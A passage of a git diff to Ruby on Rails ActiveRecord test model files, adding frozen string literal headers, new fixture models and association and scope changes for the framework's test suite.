 class Minivan < ActiveRecord::Base
   self.primary_key = :minivan_id
 
diff --git a/activerecord/test/models/mixed_case_monkey.rb b/activerecord/test/models/mixed_case_monkey.rb
index 1c350066655b8..f4985ebadb861 100644
--- a/activerecord/test/models/mixed_case_monkey.rb
+++ b/activerecord/test/models/mixed_case_monkey.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class MixedCaseMonkey < ActiveRecord::Base
-  belongs_to :man
+  belongs_to :human
 end
diff --git a/activerecord/test/models/mocktail_designer.rb b/activerecord/test/models/mocktail_designer.rb
deleted file mode 100644
index 77b44651a3e67..0000000000000
--- a/activerecord/test/models/mocktail_designer.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-class MocktailDesigner < DrinkDesigner
-end
diff --git a/activerecord/test/models/molecule.rb b/activerecord/test/models/molecule.rb
index 26870c8f887bd..7da08a85c4cbc 100644
--- a/activerecord/test/models/molecule.rb
+++ b/activerecord/test/models/molecule.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Molecule < ActiveRecord::Base
   belongs_to :liquid
   has_many :electrons
diff --git a/activerecord/test/models/mouse.rb b/activerecord/test/models/mouse.rb
new file mode 100644
index 0000000000000..75a55c125db61
--- /dev/null
+++ b/activerecord/test/models/mouse.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+class Mouse < ActiveRecord::Base
+  has_many :squeaks, autosave: true
+  validates :name, presence: true
+end
diff --git a/activerecord/test/models/movie.rb b/activerecord/test/models/movie.rb
index 0302abad1ebaf..fa2ea900c7754 100644
--- a/activerecord/test/models/movie.rb
+++ b/activerecord/test/models/movie.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Movie < ActiveRecord::Base
   self.primary_key = "movieid"
 
diff --git a/activerecord/test/models/need_quoting.rb b/activerecord/test/models/need_quoting.rb
new file mode 100644
index 0000000000000..1e50db4b1af11
--- /dev/null
+++ b/activerecord/test/models/need_quoting.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class NeedQuoting < ActiveRecord::Base
+  self.table_name = "1_need_quoting"
+end
diff --git a/activerecord/test/models/node.rb b/activerecord/test/models/node.rb
index 459ea8cf95323..ae46c76b46975 100644
--- a/activerecord/test/models/node.rb
+++ b/activerecord/test/models/node.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Node < ActiveRecord::Base
   belongs_to :tree, touch: true
   belongs_to :parent,   class_name: "Node", touch: true, optional: true
diff --git a/activerecord/test/models/non_primary_key.rb b/activerecord/test/models/non_primary_key.rb
index 1cafb096085ed..e954375989353 100644
--- a/activerecord/test/models/non_primary_key.rb
+++ b/activerecord/test/models/non_primary_key.rb
@@ -1,2 +1,4 @@
+# frozen_string_literal: true
+
 class NonPrimaryKey < ActiveRecord::Base
 end
diff --git a/activerecord/test/models/notification.rb b/activerecord/test/models/notification.rb
index 82edc64b683d9..3f8728af5e027 100644
--- a/activerecord/test/models/notification.rb
+++ b/activerecord/test/models/notification.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Notification < ActiveRecord::Base
   validates_presence_of :message
 end
diff --git a/activerecord/test/models/numeric_data.rb b/activerecord/test/models/numeric_data.rb
new file mode 100644
index 0000000000000..60b382cda7343
--- /dev/null
+++ b/activerecord/test/models/numeric_data.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+class NumericData < ActiveRecord::Base
+  self.table_name = "numeric_data"
+  # Decimal columns with 0 scale being automatically treated as integers
+  # is deprecated, and will be removed in a future version of Rails.
+  attribute :world_population, :big_integer
+  attribute :my_house_population, :big_integer
+  attribute :atoms_in_universe, :big_integer
+
+  alias_attribute :new_bank_balance, :bank_balance
+end
diff --git a/activerecord/test/models/order.rb b/activerecord/test/models/order.rb
index 699be53959e53..36866b398f4ae 100644
--- a/activerecord/test/models/order.rb
+++ b/activerecord/test/models/order.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Order < ActiveRecord::Base
   belongs_to :billing, class_name: "Customer", foreign_key: "billing_customer_id"
   belongs_to :shipping, class_name: "Customer", foreign_key: "shipping_customer_id"
diff --git a/activerecord/test/models/organization.rb b/activerecord/test/models/organization.rb
index 462830dadc100..099e7e38e0fa5 100644
--- a/activerecord/test/models/organization.rb
+++ b/activerecord/test/models/organization.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Organization < ActiveRecord::Base
   has_many :member_details
   has_many :members, through: :member_details
diff --git a/activerecord/test/models/other_dog.rb b/activerecord/test/models/other_dog.rb
index 418caf34be86b..47c1f448ae1fa 100644
--- a/activerecord/test/models/other_dog.rb
+++ b/activerecord/test/models/other_dog.rb
@@ -1,4 +1,6 @@
-require_dependency "models/arunit2_model"
+# frozen_string_literal: true
+
+require "models/arunit2_model"
 
 class OtherDog < ARUnit2Model
   self.table_name = "dogs"
diff --git a/activerecord/test/models/owner.rb b/activerecord/test/models/owner.rb
index 21fc9b6eb8cd6..5fa50d991803d 100644
--- a/activerecord/test/models/owner.rb
+++ b/activerecord/test/models/owner.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Owner < ActiveRecord::Base
   self.primary_key = :owner_id
   has_many :pets, -> { order "pets.name desc" }
diff --git a/activerecord/test/models/paragraph.rb b/activerecord/test/models/paragraph.rb
new file mode 100644
index 0000000000000..ac72043ec9a23
--- /dev/null
+++ b/activerecord/test/models/paragraph.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class Paragraph < ActiveRecord::Base
+  belongs_to :book
+end
diff --git a/activerecord/test/models/parrot.rb b/activerecord/test/models/parrot.rb
index 1e5f9285a8666..171d529899417 100644
--- a/activerecord/test/models/parrot.rb
+++ b/activerecord/test/models/parrot.rb
@@ -1,14 +1,16 @@
+# frozen_string_literal: true
+
 class Parrot < ActiveRecord::Base
   self.inheritance_column = :parrot_sti_class
 
   has_and_belongs_to_many :pirates
   has_and_belongs_to_many :treasures
-  has_many :loots, as: :looter
+  has_many :loots, as: :looter, class_name: "Treasure"
   alias_attribute :title, :name
 
   validates_presence_of :name
 
-  attr_accessor :cancel_save_from_callback
+  attribute :cancel_save_from_callback
   before_save :cancel_save_callback_method, if: :cancel_save_from_callback
   def cancel_save_callback_method
     throw(:abort)
@@ -18,9 +20,18 @@ def cancel_save_callback_method
   def increment_updated_count
     self.updated_count += 1
   end
+
+  def self.delete_all(*)
+    with_connection do |c|
+      c.delete("DELETE FROM parrots_pirates")
+      c.delete("DELETE FROM parrots_treasures")
+    end
+    super
+  end
 end
 
 class LiveParrot < Parrot
+  enum :breed, { african: 0, australian: 1 }
 end
 
 class DeadParrot < Parrot
diff --git a/activerecord/test/models/person.rb b/activerecord/test/models/person.rb
index 18994d6f18d5e..04c3da6caf1e0 100644
--- a/activerecord/test/models/person.rb
+++ b/activerecord/test/models/person.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Person < ActiveRecord::Base
   has_many :readers
   has_many :secure_readers
@@ -15,8 +17,9 @@ class Person < ActiveRecord::Base
 
   has_many :references
   has_many :bad_references
-  has_many :fixed_bad_references, -> { where favourite: true }, class_name: "BadReference"
-  has_one  :favourite_reference, -> { where "favourite=?", true }, class_name: "Reference"
+  has_many :fixed_bad_references, -> { where favorite: true }, class_name: "BadReference"
+  has_one  :favorite_reference, -> { where favorite: true }, class_name: "Reference"
+  has_one  :favorite_reference_job, through: :favorite_reference, source: :job
   has_many :posts_with_comments_sorted_by_comment_id, -> { includes(:comments).order("comments.id") }, through: :readers, source: :post
   has_many :first_posts, -> { where(id: [1, 2]) }, through: :readers
 
@@ -37,6 +40,8 @@ class Person < ActiveRecord::Base
   has_many :essays, primary_key: "first_name", foreign_key: "writer_id"
 
   scope :males,   -> { where(gender: "M") }
+
+  attr_readonly :born_at
 end
 
 class PersonWithDependentDestroyJobs < ActiveRecord::Base
@@ -60,6 +65,11 @@ class PersonWithDependentNullifyJobs < ActiveRecord::Base
   has_many :jobs, source: :job, through: :references, dependent: :nullify
 end
 
+class PersonWithPolymorphicDependentNullifyComments < ActiveRecord::Base
+  self.table_name = "people"
+  has_many :comments, as: :author, dependent: :nullify
+end
+
 class LoosePerson < ActiveRecord::Base
   self.table_name = "people"
   self.abstract_class = true
@@ -94,7 +104,6 @@ class RichPerson < ActiveRecord::Base
   before_validation :run_before_validation
 
   private
-
     def run_before_create
       self.first_name = first_name.to_s + "run_before_create"
     end
@@ -119,7 +128,7 @@ def best_friend_first_name=(new_name)
   end
 end
 
-class Insure
+module Insure
   INSURES = %W{life annuality}
 
   def self.load(mask)
@@ -137,5 +146,10 @@ def self.dump(insures)
 class SerializedPerson < ActiveRecord::Base
   self.table_name = "people"
 
-  serialize :insures, Insure
+  serialize :insures, coder: Insure
+end
+
+class LockVersionValidatedPerson < ActiveRecord::Base
+  self.table_name = "people"
+  validates :lock_version, numericality: { only_integer: true }, allow_nil: false
 end
diff --git a/activerecord/test/models/personal_legacy_thing.rb b/activerecord/test/models/personal_legacy_thing.rb
index adde7a504a6ac..ed8b70cfcc8a7 100644
--- a/activerecord/test/models/personal_legacy_thing.rb
+++ b/activerecord/test/models/personal_legacy_thing.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class PersonalLegacyThing < ActiveRecord::Base
   self.locking_column = :version
   belongs_to :person, counter_cache: true
diff --git a/activerecord/test/models/pet.rb b/activerecord/test/models/pet.rb
index 51a3e428152be..9bda2109e659b 100644
--- a/activerecord/test/models/pet.rb
+++ b/activerecord/test/models/pet.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Pet < ActiveRecord::Base
   attr_accessor :current_user
 
diff --git a/activerecord/test/models/pet_treasure.rb b/activerecord/test/models/pet_treasure.rb
index 1fe7807ffe287..47b9f57fad9f0 100644
--- a/activerecord/test/models/pet_treasure.rb
+++ b/activerecord/test/models/pet_treasure.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class PetTreasure < ActiveRecord::Base
   self.table_name = "pets_treasures"
 
diff --git a/activerecord/test/models/pirate.rb b/activerecord/test/models/pirate.rb
index c532ab426e66b..10d3697502eb9 100644
--- a/activerecord/test/models/pirate.rb
+++ b/activerecord/test/models/pirate.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Pirate < ActiveRecord::Base
   belongs_to :parrot, validate: true
   belongs_to :non_validated_parrot, class_name: "Parrot"
@@ -15,7 +17,13 @@ class Pirate < ActiveRecord::Base
     after_remove: proc { |p, pa| p.ship_log << "after_removing_proc_parrot_#{pa.id}" }
   has_and_belongs_to_many :autosaved_parrots, class_name: "Parrot", autosave: true
 
-  has_many :treasures, as: :looter
+  module PostTreasuresExtension
+    def build(attributes = {})
+      super({ name: "from extension" }.merge(attributes))
+    end
+  end
+
+  has_many :treasures, as: :looter, extend: PostTreasuresExtension
   has_many :treasure_estimates, through: :treasures, source: :price_estimates
 
   has_one :ship
@@ -36,6 +44,9 @@ class Pirate < ActiveRecord::Base
 
   has_one :foo_bulb, -> { where name: "foo" }, foreign_key: :car_id, class_name: "Bulb"
 
+  has_many :mateys, foreign_key: :pirate_id
+  has_one :attacker_matey, foreign_key: :target_id, class_name: "Matey"
+
   accepts_nested_attributes_for :parrots, :birds, allow_destroy: true, reject_if: proc(&:empty?)
   accepts_nested_attributes_for :ship, allow_destroy: true, reject_if: proc(&:empty?)
   accepts_nested_attributes_for :update_only_ship, update_only: true
@@ -87,6 +98,22 @@ class DestructivePirate < Pirate
 
 class FamousPirate < ActiveRecord::Base
   self.table_name = "pirates"
-  has_many :famous_ships
+  has_many :famous_ships, inverse_of: :famous_pirate
   validates_presence_of :catchphrase, on: :conference
 end
+
+class SpacePirate < ActiveRecord::Base
+  self.table_name = "pirates"
+
+  belongs_to :parrot
+  belongs_to :parrot_with_annotation, -> { annotate("that tells jokes") }, class_name: :Parrot, foreign_key: :parrot_id
+  has_and_belongs_to_many :parrots, foreign_key: :pirate_id
+  has_and_belongs_to_many :parrots_with_annotation, -> { annotate("that are very colorful") }, class_name: :Parrot, foreign_key: :pirate_id
+  has_one :ship, foreign_key: :pirate_id
+  has_one :ship_with_annotation, -> { annotate("that is a rocket") }, class_name: :Ship, foreign_key: :pirate_id
+  has_many :birds, foreign_key: :pirate_id
+  has_many :birds_with_annotation, -> { annotate("that are also parrots") }, class_name: :Bird, foreign_key: :pirate_id
+  has_many :treasures, as: :looter
+  has_many :treasure_estimates, through: :treasures, source: :price_estimates
+  has_many :treasure_estimates_with_annotation, -> { annotate("yarrr") }, through: :treasures, source: :price_estimates
+end
diff --git a/activerecord/test/models/pk_autopopulated_by_a_trigger_record.rb b/activerecord/test/models/pk_autopopulated_by_a_trigger_record.rb
new file mode 100644
index 0000000000000..66f6a187a1f05
--- /dev/null
+++ b/activerecord/test/models/pk_autopopulated_by_a_trigger_record.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class PkAutopopulatedByATriggerRecord < ActiveRecord::Base
+  self.primary_key = :id
+end
diff --git a/activerecord/test/models/possession.rb b/activerecord/test/models/possession.rb
index 0226336c164be..9b843e1525c84 100644
--- a/activerecord/test/models/possession.rb
+++ b/activerecord/test/models/possession.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Possession < ActiveRecord::Base
   self.table_name = "having"
 end
diff --git a/activerecord/test/models/post.rb b/activerecord/test/models/post.rb
index e74aedb814fcd..54b247dffd29c 100644
--- a/activerecord/test/models/post.rb
+++ b/activerecord/test/models/post.rb
@@ -1,6 +1,14 @@
+# frozen_string_literal: true
+
+require "models/tag"
+require "models/tagging"
+require "models/comment"
+require "models/category"
+
 class Post < ActiveRecord::Base
   class CategoryPost < ActiveRecord::Base
     self.table_name = "categories_posts"
+    belongs_to :group, foreign_key: :category_id, class_name: "Category"
     belongs_to :category
     belongs_to :post
   end
@@ -9,25 +17,41 @@ module NamedExtension
     def author
       "lifo"
     end
+
+    def greeting
+      super + " :)"
+    end
   end
 
   module NamedExtension2
     def greeting
-      "hello"
+      "hullo"
     end
   end
 
+  alias_attribute :text, :body
+  alias_attribute :comments_count, :legacy_comments_count
+
   scope :containing_the_letter_a, -> { where("body LIKE '%a%'") }
   scope :titled_with_an_apostrophe, -> { where("title LIKE '%''%'") }
-  scope :ranked_by_comments,      -> { order("comments_count DESC") }
+  scope :ranked_by_comments, -> { order(table[:comments_count].desc) }
+  scope :ordered_by_post_id, -> { order("posts.post_id ASC") }
 
   scope :limit_by, lambda { |l| limit(l) }
+  scope :locked, -> { lock }
+  scope :most_commented, lambda { |comments_count|
+    joins(:comments)
+    .group("posts.id")
+    .having("count(comments.id) >= ?", comments_count)
+  }
 
   belongs_to :author
   belongs_to :readonly_author, -> { readonly }, class_name: "Author", foreign_key: :author_id
 
   belongs_to :author_with_posts, -> { includes(:posts) }, class_name: "Author", foreign_key: :author_id
   belongs_to :author_with_address, -> { includes(:author_address) }, class_name: "Author", foreign_key: :author_id
+  belongs_to :author_with_select, -> { select(:id) }, class_name: "Author", foreign_key: :author_id
+  belongs_to :author_with_the_letter_a, -> { where("name LIKE '%a%'") }, class_name: "Author", foreign_key: :author_id
 
   def first_comment
     super.body
@@ -35,12 +59,14 @@ def first_comment
   has_one :first_comment, -> { order("id ASC") }, class_name: "Comment"
   has_one :last_comment, -> { order("id desc") }, class_name: "Comment"
 
+  scope :no_comments, -> { left_joins(:comments).where(comments: { id: nil }) }
   scope :with_special_comments, -> { joins(:comments).where(comments: { type: "SpecialComment" }) }
   scope :with_very_special_comments, -> { joins(:comments).where(comments: { type: "VerySpecialComment" }) }
   scope :with_post, ->(post_id) { joins(:comments).where(comments: { post_id: post_id }) }
 
   scope :with_comments, -> { preload(:comments) }
   scope :with_tags, -> { preload(:taggings) }
+  scope :with_tags_cte, -> { with(posts_with_tags: where("tags_count > 0")).from("posts_with_tags AS posts") }
 
   scope :tagged_with, ->(id) { joins(:taggings).where(taggings: { tag_id: id }) }
   scope :tagged_with_comment, ->(comment) { joins(:taggings).where(taggings: { comment: comment }) }
@@ -59,6 +85,10 @@ def newest
     def the_association
       proxy_association
     end
+
+    def with_content(content)
+      self.detect { |comment| comment.body == content }
+    end
   end
 
   has_many :comments_with_extend, extend: NamedExtension, class_name: "Comment", foreign_key: "post_id" do
@@ -67,9 +97,12 @@ def greeting
     end
   end
 
+  has_many :comments_with_extending, -> { extending(NamedExtension) }, class_name: "Comment", foreign_key: "post_id"
+
   has_many :comments_with_extend_2, extend: [NamedExtension, NamedExtension2], class_name: "Comment", foreign_key: "post_id"
 
   has_many :author_favorites, through: :author
+  has_many :author_favorites_with_scope, through: :author, class_name: "AuthorFavoriteWithScope", source: "author_favorites"
   has_many :author_categorizations, through: :author, source: :categorizations
   has_many :author_addresses, through: :author
   has_many :author_address_extra_with_address,
@@ -79,6 +112,10 @@ def greeting
   has_one  :very_special_comment
   has_one  :very_special_comment_with_post, -> { includes(:post) }, class_name: "VerySpecialComment"
   has_one :very_special_comment_with_post_with_joins, -> { joins(:post).order("posts.id") }, class_name: "VerySpecialComment"
+  has_one :very_special_comment_with_string_joins, -> {
+    joins("JOIN posts AS p1 ON comments.post_id = p1.id")
+    .where.not(p1: { id: 999999 })
+  }, class_name: "VerySpecialComment"
   has_many :special_comments
   has_many :nonexistent_comments, -> { where "comments.id < 0" }, class_name: "Comment"
 
@@ -87,9 +124,17 @@ def greeting
 
   has_many :category_posts, class_name: "CategoryPost"
   has_many :scategories, through: :category_posts, source: :category
+  has_many :hmt_special_categories, -> { where.not(name: nil) },  through: :category_posts, source: :category, class_name: "SpecialCategory"
   has_and_belongs_to_many :categories
   has_and_belongs_to_many :special_categories, join_table: "categories_posts", association_foreign_key: "category_id"
 
+  has_many :essays, through: :categories
+  has_many :authors_of_essays_named_bob,
+    -> { where(name: "Bob") },
+    through: :essays,
+    source: :writer,
+    source_type: "Author"
+
   has_many :taggings, as: :taggable, counter_cache: :tags_count
   has_many :tags, through: :taggings do
     def add_joins_and_select
@@ -99,6 +144,9 @@ def add_joins_and_select
     end
   end
 
+  has_many :indestructible_taggings, as: :taggable, counter_cache: :indestructible_tags_count
+  has_many :indestructible_tags, through: :indestructible_taggings, source: :tag
+
   has_many :taggings_with_delete_all, class_name: "Tagging", as: :taggable, dependent: :delete_all, counter_cache: :taggings_with_delete_all_count
   has_many :taggings_with_destroy, class_name: "Tagging", as: :taggable, dependent: :destroy, counter_cache: :taggings_with_destroy_count
 
@@ -108,6 +156,7 @@ def add_joins_and_select
   has_many :misc_tags, -> { where tags: { name: "Misc" } }, through: :taggings, source: :tag
   has_many :funky_tags, through: :taggings, source: :tag
   has_many :super_tags, through: :taggings
+  has_many :ordered_tags, through: :taggings
   has_many :tags_with_primary_key, through: :taggings, source: :tag_with_primary_key
   has_one :tagging, as: :taggable
 
@@ -177,14 +226,23 @@ def self.log(message = nil, side = nil, new_record = nil)
 class SpecialPost < Post; end
 
 class StiPost < Post
-  self.abstract_class = true
   has_one :special_comment, class_name: "SpecialComment"
 end
 
+class AbstractStiPost < Post
+  self.abstract_class = true
+end
+
 class SubStiPost < StiPost
   self.table_name = Post.table_name
 end
 
+class SubAbstractStiPost < AbstractStiPost; end
+
+class NullPost < Post
+  default_scope { none }
+end
+
 class FirstPost < ActiveRecord::Base
   self.inheritance_column = :disabled
   self.table_name = "posts"
@@ -192,6 +250,18 @@ class FirstPost < ActiveRecord::Base
 
   has_many :comments, foreign_key: :post_id
   has_one  :comment,  foreign_key: :post_id
+  has_one  :comment_with_inverse, class_name: "Comment", inverse_of: :post_with_inverse
+end
+
+class PostWithDefaultSelect < ActiveRecord::Base
+  self.table_name = "posts"
+
+  default_scope { select(:author_id) }
+end
+
+class TaggedPost < Post
+  has_many :taggings, -> { rewhere(taggable_type: "TaggedPost") }, as: :taggable
+  has_many :tags, through: :taggings
 end
 
 class PostWithDefaultInclude < ActiveRecord::Base
@@ -232,6 +302,8 @@ class SpecialPostWithDefaultScope < ActiveRecord::Base
   self.inheritance_column = :disabled
   self.table_name = "posts"
   default_scope { where(id: [1, 5, 6]) }
+  scope :unscoped_all, -> { unscoped { all } }
+  scope :authorless, -> { unscoped { where(author_id: 0) } }
 end
 
 class PostThatLoadsCommentsInAnAfterSaveHook < ActiveRecord::Base
@@ -248,6 +320,7 @@ class PostWithAfterCreateCallback < ActiveRecord::Base
   self.inheritance_column = :disabled
   self.table_name = "posts"
   has_many :comments, foreign_key: :post_id
+  has_and_belongs_to_many :categories, foreign_key: :post_id
 
   after_create do |post|
     update_attribute(:author_id, comments.first.id)
@@ -271,3 +344,91 @@ class ConditionalStiPost < Post
 
 class SubConditionalStiPost < ConditionalStiPost
 end
+
+class PostWithDestroyCallback < ActiveRecord::Base
+  self.inheritance_column = :disabled
+  self.table_name = "posts"
+
+  before_destroy do
+    throw :abort if id == 1
+  end
+end
+
+class FakeKlass
+  extend ActiveRecord::Delegation::DelegateCache
+
+  class << self
+    def scope_registry
+      ActiveRecord::Scoping::ScopeRegistry.instance
+    end
+
+    def adapter_class
+      Post.adapter_class
+    end
+
+    def lease_connection
+      Post.lease_connection
+    end
+
+    def table_name
+      "posts"
+    end
+
+    def attribute_aliases
+      {}
+    end
+
+    def sanitize_sql(sql)
+      sql
+    end
+
+    def sanitize_sql_for_order(sql)
+      sql
+    end
+
+    def disallow_raw_sql!(*args)
+      # noop
+    end
+
+    def columns_hash
+      { "name" => nil }
+    end
+
+    def arel_table
+      Post.arel_table
+    end
+
+    def predicate_builder
+      Post.predicate_builder
+    end
+
+    def finder_needs_type_condition?
+      false
+    end
+
+    def base_class?
+      true
+    end
+
+    def deterministic_encrypted_attributes
+    end
+  end
+
+  inherited self
+end
+
+class Postesque < ActiveRecord::Base
+  belongs_to :author, class_name: "Author", foreign_key: :author_name, primary_key: :name
+  belongs_to :author_with_address, class_name: "Author", foreign_key: :author_id
+  belongs_to :author_with_the_letter_a, class_name: "Author", foreign_key: :author_id
+end
+
+class PostRecord < ActiveRecord::Base
+  has_many :comments
+
+  class << self
+    def model_name
+      ActiveModel::Name.new(self, nil, "Post")
+    end
+  end
+end
diff --git a/activerecord/test/models/post_encrypted.rb b/activerecord/test/models/post_encrypted.rb
new file mode 100644
index 0000000000000..8c15e0d09f1d6
--- /dev/null
+++ b/activerecord/test/models/post_encrypted.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+require "models/post"
+
+class EncryptedPost < Post
+  self.table_name = "posts"
+
+  # We want to modify the key for testing purposes
+  class MutableDerivedSecretKeyProvider < ActiveRecord::Encryption::DerivedSecretKeyProvider
+    attr_accessor :keys
+  end
+
+  encrypts :title
+  encrypts :body, key_provider: MutableDerivedSecretKeyProvider.new("my post body secret!")
+end
diff --git a/activerecord/test/models/post_with_prefetched_pk.rb b/activerecord/test/models/post_with_prefetched_pk.rb
new file mode 100644
index 0000000000000..0c6c49283b495
--- /dev/null
+++ b/activerecord/test/models/post_with_prefetched_pk.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class PostWithPrefetchedPk < ActiveRecord::Base
+  self.table_name = "posts"
+
+  class << self
+    def prefetch_primary_key?
+      true
+    end
+
+    def next_sequence_value
+      123456
+    end
+  end
+end
diff --git a/activerecord/test/models/price_estimate.rb b/activerecord/test/models/price_estimate.rb
index ce086e40a3464..669d0991f718d 100644
--- a/activerecord/test/models/price_estimate.rb
+++ b/activerecord/test/models/price_estimate.rb
@@ -1,4 +1,14 @@
+# frozen_string_literal: true
+
 class PriceEstimate < ActiveRecord::Base
+  include ActiveSupport::NumberHelper
+
   belongs_to :estimate_of, polymorphic: true
   belongs_to :thing, polymorphic: true
+
+  validates_numericality_of :price
+
+  def price
+    number_to_currency super
+  end
 end
diff --git a/activerecord/test/models/professor.rb b/activerecord/test/models/professor.rb
index 4dfb1a9602b7e..fe320226abdb0 100644
--- a/activerecord/test/models/professor.rb
+++ b/activerecord/test/models/professor.rb
@@ -1,4 +1,6 @@
-require_dependency "models/arunit2_model"
+# frozen_string_literal: true
+
+require "models/arunit2_model"
 
 class Professor < ARUnit2Model
   has_and_belongs_to_many :courses
diff --git a/activerecord/test/models/program.rb b/activerecord/test/models/program.rb
new file mode 100644
index 0000000000000..efb5425956feb
--- /dev/null
+++ b/activerecord/test/models/program.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+class Program < ActiveRecord::Base
+  has_many :enrollments
+  has_many :members, through: :enrollments, class_name: "SimpleMember"
+end
diff --git a/activerecord/test/models/program_offering.rb b/activerecord/test/models/program_offering.rb
new file mode 100644
index 0000000000000..12606d304a55a
--- /dev/null
+++ b/activerecord/test/models/program_offering.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+class ProgramOffering < ActiveRecord::Base
+  belongs_to :club
+  belongs_to :program
+end
diff --git a/activerecord/test/models/project.rb b/activerecord/test/models/project.rb
index 4fbd986e40519..1c536f3cc0048 100644
--- a/activerecord/test/models/project.rb
+++ b/activerecord/test/models/project.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Project < ActiveRecord::Base
   belongs_to :mentor
   has_and_belongs_to_many :developers, -> { distinct.order "developers.name desc, developers.id desc" }
@@ -14,6 +16,7 @@ class Project < ActiveRecord::Base
   has_and_belongs_to_many :well_paid_salary_groups, -> { group("developers.salary").having("SUM(salary) > 10000").select("SUM(salary) as salary") }, class_name: "Developer"
   belongs_to :firm
   has_one :lead_developer, through: :firm, inverse_of: :contracted_projects
+  has_one :lead_developer_disable_joins, through: :firm, inverse_of: :contracted_projects, source: :lead_developer, disable_joins: true
 
   begin
     previous_value, ActiveRecord::Base.belongs_to_required_by_default =
diff --git a/activerecord/test/models/publication.rb b/activerecord/test/models/publication.rb
new file mode 100644
index 0000000000000..6873709f113c2
--- /dev/null
+++ b/activerecord/test/models/publication.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+class Publication < ActiveRecord::Base
+  belongs_to :editor_in_chief, class_name: "Editor", inverse_of: :publication, optional: true
+  has_many :editorships
+  has_many :editors, through: :editorships
+
+  after_initialize do
+    self.editor_in_chief = build_editor_in_chief(name: "John Doe")
+  end
+
+  after_save_commit :touch_name
+  def touch_name
+    self.name = "#{name} (touched)"
+  end
+end
diff --git a/activerecord/test/models/publisher.rb b/activerecord/test/models/publisher.rb
index 0d4a7f92351a0..53677197c4cfa 100644
--- a/activerecord/test/models/publisher.rb
+++ b/activerecord/test/models/publisher.rb
@@ -1,2 +1,4 @@
+# frozen_string_literal: true
+
 module Publisher
 end
diff --git a/activerecord/test/models/publisher/article.rb b/activerecord/test/models/publisher/article.rb
index d73a8eb93612a..355c22dcc5f4a 100644
--- a/activerecord/test/models/publisher/article.rb
+++ b/activerecord/test/models/publisher/article.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Publisher::Article < ActiveRecord::Base
   has_and_belongs_to_many :magazines
   has_and_belongs_to_many :tags
diff --git a/activerecord/test/models/publisher/magazine.rb b/activerecord/test/models/publisher/magazine.rb
index 82e1a14008ec4..425ede8df268a 100644
--- a/activerecord/test/models/publisher/magazine.rb
+++ b/activerecord/test/models/publisher/magazine.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Publisher::Magazine < ActiveRecord::Base
   has_and_belongs_to_many :articles
 end
diff --git a/activerecord/test/models/raises_argument_error.rb b/activerecord/test/models/raises_argument_error.rb
new file mode 100644
index 0000000000000..83e5014ad76a1
--- /dev/null
+++ b/activerecord/test/models/raises_argument_error.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class RaisesArgumentError
+  raise ArgumentError
+end
diff --git a/activerecord/test/models/raises_no_method_error.rb b/activerecord/test/models/raises_no_method_error.rb
new file mode 100644
index 0000000000000..59c8b0d13efbc
--- /dev/null
+++ b/activerecord/test/models/raises_no_method_error.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class RaisesNoMethodError
+  Object.new.calling_a_non_existing_method
+end
diff --git a/activerecord/test/models/randomly_named_c1.rb b/activerecord/test/models/randomly_named_c1.rb
index d4be1e13b4592..f90a7b9336a57 100644
--- a/activerecord/test/models/randomly_named_c1.rb
+++ b/activerecord/test/models/randomly_named_c1.rb
@@ -1,3 +1,5 @@
-class ClassNameThatDoesNotFollowCONVENTIONS < ActiveRecord::Base
-  self.table_name = :randomly_named_table1
-end
+# frozen_string_literal: true
+
+class ClassNameThatDoesNotFollowCONVENTIONS < ActiveRecord::Base
+  self.table_name = :randomly_named_table1
+end
diff --git a/activerecord/test/models/rating.rb b/activerecord/test/models/rating.rb
index 7420821db0315..c117a677e0981 100644
--- a/activerecord/test/models/rating.rb
+++ b/activerecord/test/models/rating.rb
@@ -1,4 +1,8 @@
+# frozen_string_literal: true
+
 class Rating < ActiveRecord::Base
   belongs_to :comment
   has_many :taggings, as: :taggable
+  has_many :taggings_without_tag, -> { left_joins(:tag).where("tags.id": [nil, 0]) }, as: :taggable, class_name: "Tagging"
+  has_many :taggings_with_no_tag, -> { joins("LEFT OUTER JOIN tags ON tags.id = taggings.tag_id").where("tags.id": nil) }, as: :taggable, class_name: "Tagging"
 end
diff --git a/activerecord/test/models/reader.rb b/activerecord/test/models/reader.rb
index 7c5a159fe0c3a..d25627e430193 100644
--- a/activerecord/test/models/reader.rb
+++ b/activerecord/test/models/reader.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Reader < ActiveRecord::Base
   belongs_to :post
   belongs_to :person, inverse_of: :readers
diff --git a/activerecord/test/models/recipe.rb b/activerecord/test/models/recipe.rb
index c3872306035c2..e53f5c8fb1cdd 100644
--- a/activerecord/test/models/recipe.rb
+++ b/activerecord/test/models/recipe.rb
